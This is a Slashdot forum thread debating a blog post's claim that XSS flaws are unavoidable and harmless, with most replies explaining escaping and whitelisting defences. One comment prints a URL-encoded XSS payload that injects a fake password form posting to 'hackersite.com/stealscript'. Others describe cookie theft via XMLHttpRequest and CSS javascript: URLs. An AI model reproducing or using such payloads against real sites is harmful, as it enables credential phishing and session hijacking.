Slashdot Mirror
XSS Vulnerabilities Reviewed and Re-Classified
An anonymous reader writes "Security Analysts at NeoSmart Technologies have revisited the now-famous XSS-type security vulnerabilities and attempted to re-classify their status as a security vulnerability. The argument is that XSS vulnerabilities are not a mark of bad or insecure code but rather a nasty but unavoidable risk that's a part of JavaScript - and that even then, XSS 'vulnerable' sites are no less dangerous or vulnerable at heart." Are they unavoidable, or just a symptom of lazy coding, or both?
Samy is still my hero.
Saying that these holes don't matter because websites can't avoid them with the standard method of doing things is just plain wrong from a security standpoint. If you are dealing with sensitive data, secure it. If the standard way won't let you, don't do it the standard way.
Inventions have long since reached their limit, and I see no hope for further development.-- Frontinus, 1st cent. AD
As buzzwordy as Web 2.0 is, end-user content is rapidly becoming the majority of the visible end-user internet experience (e.g. Digg, MySpace, Facebook, etc.) With thousands/millions of users posting content, XSS filters start to become an arms race against the latest techniques. With Internet Explorer even rendering code with as valid code. Even when filters are put into place, all it takes is one XSS virus to take down an entire website.
Even disabling Javascript content all together in websites, with user content, other methods can be used to steal cookies/sessions/user credentials. Flash attacks are becoming more and more common, and are near impossible to protect against. Users demand dynamic user-driven content, the companies comply, I'm just surprised this hasn't been more prevalent.
--Joel
Ajax Translator
If it was only Javascript that would be one thing. But when some one can "include" say a remote PHP file, I believe this is still considered XSS, maybe just another class of XSS. This is when it becomes an issue. It can allow a user to run arbitrary commands as the web server user, or what ever user that PHP is running as. Next thing you know, if your system is not harded properly, you have remote IRC pipes or shells sending data to/from your server to some remote host. It's a much bigger problem than expressed in the article. Buzzword maybe, but buzzword or not, still has potentially vulnerable security implications.
-- Brought to you by Carl's JR
Er, no. XSS attacks are caused by sloppy web application developers that fail to encode user-supplied data for output in the appropriate way, and by sloppy web developers that trust that whatever was submitted by a user was submitted by the user intentionally.
Both of these factors have technical solutions that are 100% effective and have been well-known for years. The former has nothing specifically to do with JavaScript anyway, it's just that the holes are most often used to sneak JavaScript onto a page.
This article is a total crock of shit. For instance when it says:
It's no more dangerous in terms of security for the client machine. If Hotmail has a security hole, it doesn't make it more likely that somebody will get onto your computer. But they can still read and delete your email, and send email from your account.
Actually, I take that back, it is more dangerous in terms of security for the client machine. With tools like the NoScript Firefox extension, and the similar mechanisms other browsers have, many people disable JavaScript for the random websites found with Google, but enable them for websites they trust, like Hotmail. So if Hotmail has an XSS vulnerability, they will be executing malicious JavaScript even though they only intended to allow trusted JavaScript to be executed.
This author seems to have no real clue about web security. I guess this is why Slashdot shouldn't link to random weblog entries.
Bogtha Bogtha Bogtha
I think someone would be pretty hard pressed to convince me that XSS cannot be considered the earmark of bad or insecure coding in all or most cases. If anyone reads full disclosure we all know that any given moron can spend 24 hours a day looking on every website to find some XSS bug in the page. Now just because XSS exists in a site does not make it insecure or poorly coded (the later is arguable). However, when these XSS bugs exist on websites that use session cookies or have a login of some sort that allows users to take actions, post, edit things, etc. then it is a product of insecure and poor coding. The risks exists when something can be gained by a threat source by conducting an XSS attack. If a user can post something on slashdot that slaps over my slashdot username and password or my session cookie (allowing them to jump in on slashdot right now and post as me) then it is a security risk. Finding a XSS issue on a webpage such as one that www.arin.net (see Full Disclosure) really doesn't do anything or represent a risk. It is more about what can be gained or done from the XSS attack. As a quick side not to this dicussion.. XSS is *VERY* easy to prevent. Much more so than SQL injection. Who knows maybe these people will try and reclassify SQL injection as not being a problem either. Sanitizing user input by not allowing it or for example converting to < and > respectively is pretty easy and will stop almost all of these attacks. There is no excuse for not being able to secure a page with such coding practices to protect your site and users.
curiosity killed the cat. dont click that link.
The best test environment is production. - Me
chrome://browser/content/browser.xul
Back in the 1980s' BBS days, I wrote a terminal emulator for the commodore 64 that would allow a BBS to enhance the user's experience by downloading and running short assembly programs. Users of any standard BBS software could even post such programs to the message boards for other users to enjoy.
JMP 64738 (system reset) was the unavoidable result. The next version of the software recognized that the functionality could not be secured and removed it.
Moderating "-1, Disagree" is simple censorship. Have the guts to post your opinion.
XSS is not the problem. JavaScript is (just for the record, at NeoSmart we feel JavaScript is more of a headache than it is a life-saver..), and XSS is but a result of the (many) inherent security holes in JavaScript and not in the package itself!
That quote really says it all. The basic argument seems to be very simple: Javascript Sucks, Ergo XSS Vulnerabilities are inevitable. That's about as accurate as saying that if Chewbacca lives on Endor, you must acquit.
As someone who's had to wrangle plenty of Javascript, I agree that it sucks, but I disagree with any argument that security vulnerabilities are inevitable. These days, they seem to be more a product of adding features without thinking about the security implications (Hey, let's allow email viewed in Outlook to run scripts!) than poor implementations of those ideas. Although implementation problems play a part: You're busy coding the nifty new feature, you get to a point where it works, and you happily go and check it into CVS oblivious to the buffer overflow you've introduced.
Fundamentally, there's no such thing as a computer error, only a series of human errors buried deeply enough that they appear to be a computer error (with one exception, that of the expected hardware failure).
I am officially gone from
I wouldn't say lazy, but naive. Lots of people now cut their teeth at programming with HTML/Javascript and a simple server-side scripting language, like PHP or ASP. For a reason unknown, these simple languages (PHP especially) try to create a blanket so thick around the coder that most of them don't even think about validating input.
Crap like auto-string escaping, crap like automagic global variables, crap like easy access to eval(), auto variable casting, these help when learning to program so you can concentrate on the task at hand, but become a big fat no-no when deploying stuff in a networked environment.
Going back to my first programs in BASIC/C/C++, they were probably filled with holes; but for sure they weren't available for the world to hack.
I work for a bank. A hacker found one page in the Internet banking system that echoed a value from a form into an error message. They then used this to inject some JavaScript which gathered user logons. They managed to acumulate about $70,000 of fools money into a holding account before they were caught. I don't feel particulay sorry for fools who fall for phishing scams but it was still a security hole in the web application that could simply be avoided by an echoding of values before echoing to the page. Since then all code is audited for SQL injection and XSS by an external company before being relesed to production.
XSS is a real security threat.
XSS is not unavoidable and it is a security vulnerability. Slashdot has a cookie based login system. This means that if there is an XSS vulnerability in Slashdot I can cause any action a logged in user (maybe, Commander Taco?) can cause by doing something as simple as tricking them into loading a web page with an 'invisible' 1 pixel tall frame exploiting the XSS. Saying XSS isn't a security vulnerability is like claiming that leaving your house keys under the doormat isn't a security vulnerability.
Is it just me or did this article not make sense. The information is not presented logically, and it seems to contradict itself. It is vague about details. Is Javascript the problem, or is it XSS, or is it bad users, or is it site owners, or hackers exploiting XSS? I still don't know.
I use VBScript, so I guess I'm safe.
Both, in different amounts depending on which scripting language you use.
It's impossible to write perfect software - not even NASA can do that.
On the other hand the languages aren't much help. PHP for instance allows you do to stupid things with user input variables. Depending on how your scripts work, you can see no errors for months and then all of a sudden half your database or site gets deleted. Great fun, that.
Does that include the one in your signature?
:(){
Perhaps the author is unaware of the PHP function strip_tags. Or in a more general sense, a simple regular expression can be used to remove script tags or all HTML tags from a string. That's seriously all you need to do to eliminate XSS. The only times when XSS holes exist are when lazy or oblivious coders forget to call the function on any input passed to a script.
As far as the seriousness of XSS, I think the author is heavily downplaying the issue. With the xmlhttprequest it is easier than ever to use XSS to hijack users' sessions. For example, in a messageboard post or something I could put a simple script that uses an xmlhttprequest object to send the user's cookies with the session id to a remote script. The script can then immediatly hijack the user's session and steal information or whatnot, before the user even navigates to a different page.
Obviously CowboyNeal is drunk or his clock incorrectly displays 4/1/2006. No sane programmer with a clue would post or link to such utter nonsense.
If you allow local execution of code provided by untrusted remote sites, you have no security and never have, no matter how much the vendor assures you their "sandbox" is safe. XSS is not the security hole, it's just the latest batch of holes in the entire concept of client-side scripting.
If I recall correctly, samy exploited MySpace (there's a link somewhere above if you never heard about it) by taking advantage of the fact that IE6 will execute Javascript: urls in CSS url() attributes (IE something like this:
background-image: url(javascript:codehere
Something like that at least. And of couse if you allow HTML tags with attributes anyone could stick a style="" on it and inject some javascript... in theory anyways.
I read somewhere, and I agree, that the best solution is to strip ALL HTML and use your own tag set (most web forums are way ahead in this department). If you do insist on allowing a subset of HTML, use whitelists to define allowed tags and attributes etc, instead of blacklists... because with a whitelist, if you leave something out, oh well someone can't use a tag they should be able to, it's more restrictive than it should be, they file a bug report and it's fixed. With a blacklist if you leave something out, it's a potential security hole.
Bulletin Boards have been effective against these issues for ages with bbcodes that use [] instead of > < . Also wikipedia has excellent formatting features without letting users ever use an html tag by themselves.
By simply turning >< into ><before displaying content that was influenced by user input you get rid of every single XSS risk. If users complaint about it being too limited they should get their own site instead of depenging on blog/forum/ whatever other thing.
Copyright infringement is "piracy" in the same way DRM is "consumer rape"
XD True. Why is there no referrer validation or anything for logout?
Buffer overflows are an unescapable symptom, C is the real problem. Car accidents aren't the problem...steering wheels are.
Maybe the people writing web apps need better training? No matter how safe you make the language, there will be people using it who are inexperienced, unfamiliar, or otherwise uneducated about the nuances of paranoid programming. It's very narrow-sighted to blame the tool.
Click on this link for an example against CitiBank
CitiBank Exploit
Advertisers are the ones who are effected the worst by this.
Banks & things like that are insured against loss, Federally in the case of banks.
Advertisers who pay for people to click things on the other hand, are not.
I'd bet CowboyNeals left nut there's thousands of dollars a day being scammed from advertisers through the use of XSS clicking adverts in the background, or changing the target address of an add banner.
Wanna fight ? Bend over, stick your head up your ass, and fight for air.
well I did anyway, it somehow managed to overload outlook and a copy of outlook express opened as well (the outlook express setup dialogue at least). Seemed to be trying to run some irc and edonkey scripts as well. Had to kill process on firefox.
That's like saying buffer overflows are a nasty unavoidable side effect of using C. They're exploits in the practical world, plain and simple. Caused by poor coding? Yes. Likely due to language difficiencies? Absolutely. Unavoidable? No, not really.
Read some of the other guy's articles, he's a complete twit. The best is the one on how javascript should be dead and replaced with VBScript, and how Firefox is "against" Javascript, and how javascript was "almost dead" until Gmail came around.
Probably a 15 year old kid. Its a fucking wordpress site w/ the default theme. I mean, come on, seriously.
It's perfectly possible using simple hashing techniques to totally avoid XSS attacks.
That said, if we, as software developers and vendors, start taking arbitrary classes of security holes and declare them "non-vulnerabilities" for the sake of convenience, we are just begging to be regulated!
Whether or not we should care about certain vulnerabilities is another question (for example, executing arbitrary ActiveX code on a tightly-controlled private network is not necessarily something to worry about), but claiming that such vulnerabilities aren't security issues is lying.
http://outcampaign.org/
Once again if you're curious what XSS is check out
The Cross Site Scripting FAQ
Believe me, if I started murdering people, there would be none of you left.
I won't even comment on the security risk issue; though it takes a bit of social engineering, XSS can easily be leveraged for everything from session hijacking to plain old phishing.
Unavoidable? I don't know ASP, for example, and when I was using it for the first time and had a user variable which was displayed as HTML, 2 minutes of Googling led me to HTMLEncode(). Problem solved, for the most part. A real programmer can accomplish this in any language, with a regex or whatever.
Whoever wrote this obviously doesn't even have a basic understanding of programming or security.
well how about that.
% 3Cbr+%2F%3E%3Cimg+src%3Dhttp%3A%2F%2Fwww.alan-alda .com%2Falan-alda.jpg%3E%3Cbr+%2F%3E%3Ch2%3EWelcome +to+the+Alan+Alda+fanclub.+Please+enter+your+passw ord.%3C%2Fh2%3E%3Cform+id%3D%22searchform%22+metho d%3D%22get%22+action%3D%22http%3A%2F%2Fwww.hackers ite.com%2Fstealscript%22%3E%3Cinput+type%3D%22text %22+name%3D%22s%22+id%3D%22s%22+size%3D%2215%22+%2 F%3E%3Cbr+%2F%3E%3Cinput+type%3D%22submit%22+value %3D%22Submit%22+%2F%3E%3C%2Fform%3E%3Cbr+%2F%3E
http://neosmart.net/blog/index.php?s=%3Cbr+%2F%3E
Note: if you are actually a member, please do not input your password. This is merely an XSS trick demonstrating a total lack of vulberability, sloppy coding or naivety on the part of neosmart.
After reading the linked article, you probably don't know what XSS is unless you knew going in. Here's a link to a FAQ on XSS. http://www.cgisecurity.com/articles/xss-faq.shtml.
As for the article. My impression is that it is not very well written. I don't know enough about XSS to be sure, but for the most part I don't think it is a very accurate assessment. It appears to me that XSS attacks most certainly are a security issue and are by no means limited to Javascript.
You can't see ANYTHING from a car, You've got to get out of the goddamned contraption and walk...Edward Abbey
...we prefer to call it an 'unrequested Javascript surplus'"
But that isn't the best bit:
"Sites with XSS "vulnerabilities" aren't insecure. They're absoloutely no different than any other site - except that a user can manipulate the way content displays on an "insecure" page"
Thats like saying 'Pearl Harbour wasn't "vunerable". It was absolutely no different than any other naval base - except that the Japanese could drop bombs on it'
If we can put a man on the moon, why can't we shoot people for Apollo-related non-sequiturs?
In my master thesis I implemented a solution in the mozilla firefox web browser that protects the surfing user. It analyzes the data access and data flow in the JavaScript engine of the web browser.
NoMoXSS (no more XSS)
http://www.seclab.tuwien.ac.at/projects/jstaint/
Although it is only a prototype of an implementation (in a rather old version of firefox), it shows the potential of this solution to stop XSS attacks.
Don't use javascript, don't enable cookies. No problem.
It really gets my why people don't use HTTP auth (plain or digest) for authentication, as it was intended, instead of rolling their own crap. Sensible people should not escape stuff beyond the normal - XSS problems after than are a problem of the browser.
Taking the liberty to change T to trendy, sounds like XSS would fit in nicely with XHTML, XML, Xbox, Xmen, X11, Xray, and heaps of others as "X Something Something". Maybe we should ask Homer?
Who's your user, program?
Sure i *had* to click that link too - I'm glad I'm using a normal browser (Opera) - would not like to think about what could have happened with IE or other crap - Opera just blocked that PopUps and that was it...
For the curious, it's a fake Interpol message submission page. There's a GNAA linky pic next to the submit fields, which I suspect Interpol would be unlikely to include on their real site.
A lot of what has been said here really doesn't go against what the article was about - it wasn't about XSS not being a vulnerability, just about it being taken out of proportion... There's a clarification/follow-up posted now: http://neosmart.net/blog/archives/194#comment-2299
Can we mod the article -1 troll?
Much of the article seems to be a diatribe against JavaScript more properly called ECMA script.
I was always prejudiced against JavaScript but a couple of years ago I was stuck with a problem which could only be done in JavaScript (The selections in the second emnu depended on you choice in the first menu, all other checkboxes and menus depended on the second menu selection) or with about 50 static pages.
I actually came to like it its actually a very clean and consistent programing language albeit with very few builtin features. After a couple of days the only times I ever felt the need to RTFM was for the exact names of the various bits of the web browsers DOM structure.
How anyone could recomend VB over javascript is beyond me, and, I note no one has suggested the return of the Java Applet!
As for buggy, well there are javascripts with bugs in but there are very, very few bugs in the ECMAscript implementations I have dealt with.
Old COBOL programmers never die. They just code in C.
NeoSmart Technologies has posted a clarification on this article:
The Clarification..
XSS just is, and so long as JavaScript remains the buggy and decrepit language it is, XSS will be, and that's all there is to it.
Excellent, earth-shattering conclusion. Now can I have 10 minutes of my life back please (and all the IQ points I lost while you're at it)?
Notice also that the blog is apparently vulnerable.
I write some webapps in PHP. At one moment, i completely remove GET method, for another reason (not important here). But i see that, by the way, you can't force someone to POST a form with a link.
Am I wrong ? I always tought POST was handy and secure.
If you are interested I may provide some code. It's ugly and perfectionable, but, hey, it works.
What does it mean, "appended to the end of comments you post"
Heh. And what happened to escaping quote signs? It's not even a new thing that only the latest JavaScript expert hackers discovered, but something that's also been known in the SQL Injection world for a long long time. (Yes, you can use prepared statements instead too, but you can also just escape the quotes and apostrophes.) And I wouldn't be surprised if it also was a part of some ancient CGI exploit.
Basically if there's an "arms race", then escaping quotes isn't much of a part of it. The problem was known long before Java Script, and the solution was known long before Java Script.
So, I don't know... Personally I'll side with the "it's just sloppy coding, by sloppy unqualified coders" camp. Seriously. It has no bloody excuse to still exist. Much less to be handwaved as some _unavoidable_ risk that's really just benign and ok to have in a web site. (As TFA was hand-waving it.) It's _not_ unavoidable, it's certainly _not_ benign, and both points have been known for at least a decade.
I mean, seriously, wtf... I knew that competence went out of fashion during the dot-com era, but seeing the massive ignorance and cluelessness of some supposed "Gurus" (read the big title at the top of TFA page) is just disheartening. It seems like these days all one needs to be a "Guru" is the arrogance to proclaim oneself a "Guru". From stuff like this, to personally seeing some self-proclaimed "Java Guru" recommend techniques that betrayed some _massive_ ignorance of the language, the VM, and the JIT, not to mention of the fact that he obviously doesn't read much on the subject if he managed to miss 5 years of that stuff being again and again proven to not just work that way. It seems like these days any ex-burger-flipper can just proclaim himself a computer guru and pass their ignorance as some "can't be done any other way, sorry" expertise.
A polar bear is a cartesian bear after a coordinate transform.
Uh, it's the REAL interpol site having LastMeasure injected into it via an XSS vulnerability. You know, what this discussion is about? And what the poster of the link said it was in the subject?
back around '99 I worked for a very short time for an 'e-commerce website development' company. I was their very first dedicated tester.
When I pointed out that users could enter javascript as a user name to be displayed to other users, they didn't care, the response was "Why would anyone want to hack a website?".
The last website this company produced before then was for a major gaming company that produced a VERY popular collectable card game and had bought out another company that made a paper RPG game featuring underground prisons and large reptiles.
Which is a completely different demographic group than those who enjoy 'exploring' other peoples computer systems.
They basically let me go because I wouldn't give up arguing they needed to fix security issues.
"Security Analysts at NeoSmart Technologies..."
These people know nothing about security!!! They should change their name to NoSmart or redefine "New Smart" to mean dumb!!!
Please... can we just remove this! It's giving some people a false sense of security.
This is more a usability-issue than a security-issue. If it is properly escaped, it's harmless. But from a usability point of view, invalid data should normally be rejected.
You could argue that "properly escaping" can fail, but so can validation. You should always escape correctly, and you should always know exactly how to do that.
I agree that "filtering" must be done. If the input is plaintext, it should be converted to HTML before displayed on a web page. If the input is untrusted HTML, it is far more difficult.
As data moves between software layers additional escaping may be needed. Typeless or weakly typed languages needs a bit more attention, but it's not that hard. For example PHP (I don't know VBscript):
function foo($bar) {
$bar = (int)$bar;
}
In PHP you cannot force type on the arguments. In this case I don't trust that $bar is an integer, so the first thing I do is to cast it. Now I know it's an integer. If the value cannot be casted to an integer, this will be bad. But if that is a possibility in a production environment, I will just have to handle it more elaborate.
If validated harmless data becomes harmful by going through the database layer, the database layer has a serious bug. This is normally something I would trust just works. When I create the database layer, I will of course take escaping very serious, as always.
In short: Remember to escape, and remember the weaknesses of the chosen language.
You kind of chock me here. Are you serious? Of course you are. But this is so basic client/server that it hurts. Anything that comes from the internet is dangerous untill proven otherwise. The experiences programmers knows to identify and keep untrusted data from trusted data, and how to move from the first to the second.
So generally, I stick with what I said: Escape properly, and you're good to go (in regard to XSS). Including untrusted HTML on a web site may be the exception, that is quite difficult, depending on how advanced HTML is allowed.
I had nothing to add, because (as far as I'm concerned) you didn't add anything I could reply to. But now I've got exactly what I wanted, and now we're having an interesting discussion. You didn't need an entire book to make your point. If anybody doesn't understand what you said, they can now leave the discussion temporarily to study. Buy the book or otherwise, it's their choise.
And yes, my tone can be arrogant to some people, I'm sorry if I offended you. More subtle advise is too often ignored. This is one of those cases where I just do what works.